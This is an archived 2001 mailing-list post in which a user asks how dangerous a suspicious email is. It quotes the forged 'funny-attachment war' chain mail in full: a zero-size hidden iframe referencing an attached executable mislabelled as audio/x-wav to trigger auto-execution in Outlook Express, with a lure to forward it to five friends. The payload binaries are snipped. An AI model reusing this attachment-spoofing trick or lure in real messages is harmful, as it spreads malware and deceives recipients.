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A very dangerous mail...

From: "Marius Huse Jacobsen" <mahuja () c2i net>
Date: Fri, 20 Jul 2001 23:24:19 +0200

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Edited to protect any innocents.
Obvious forgery (supposedly from microsoft.com)
I'm using ZoneAlarm MailSafe -> .exe changed to .zl9
It tries to start the attachment exe automatically (Outlook Express)
- - it asks me if I want to save or start the zl9 file but I don't know
what it would do to an exe.

Exactly how bad is it? The offending line seems to be
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>

Html email was a curse to begin with and it hasn't become any better.
Can anyone give me that ascii ribbon sig?


8< --------- Start offending letter -----------
Return-Path: <zina () somewhereonthenet com>
Received: from smtp08.somewhereonthenet.com
(smtp08.somewhereonthenet.com [196.*.*.*])
 by mail.my_isp.com (8.9.3/8.9.3) with ESMTP id PAA16304
 for <my () mail addy>; Sat, 14 Jul 2001 15:10:00 +0200 (MET DST)
Received: from microsoft.com ([196.*.*.*])
 by smtp08.somewhereonthenet.com (Sun Internet Mail Server
sims.3.5.2000.03.23.18.03.p10)
 with SMTP id <0GGG009BGSJHYE () smtp08 iafrica com> for my () mail addy;
Sat,
 14 Jul 2001 15:09:40 +0200 (SAT)
Date: Sat, 14 Jul 2001 15:09:01 +0100
From: Lynda () smtp08 somewhereonthenet com
Subject: Fw: 100,000 lemmings can't be ...
To: removed () smtp08 somewhereonthenet com
Message-id: <0GGG009BISJHYE () smtp08 somewhereonthenet com>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="nymph"

This is a multi-part message in MIME format.

- --nymph
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
<P align=center><FONT size=7><SPAN
class=590014113-13042001>SMACK!!!</SPAN></FONT></P>
<P align=center><FONT size=7><SPAN class=590014113-13042001>You have
been
hit</SPAN></FONT></P>
<P align=center><SPAN class=590014113-13042001>This is the
funny-attachment war!
You have just been hit and by the rule book you can't hit this person
back. To
be in the game you need to send this message to five of your friends,
try to
find some small and funny attachment to send along. If you don't have
time use
the one you got hit by, go ahead hit someone!</SPAN></P>
<P align=center><FONT size=7><SPAN
class=590014113-13042001></SPAN></FONT>&nbsp;</P></BODY></HTML>

- --nymph
Content-Type: audio/x-wav;
        name="setup.zl9"
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>

<snip .exe content>

- --nymph
<snip fortune.zip>

- --nymph--


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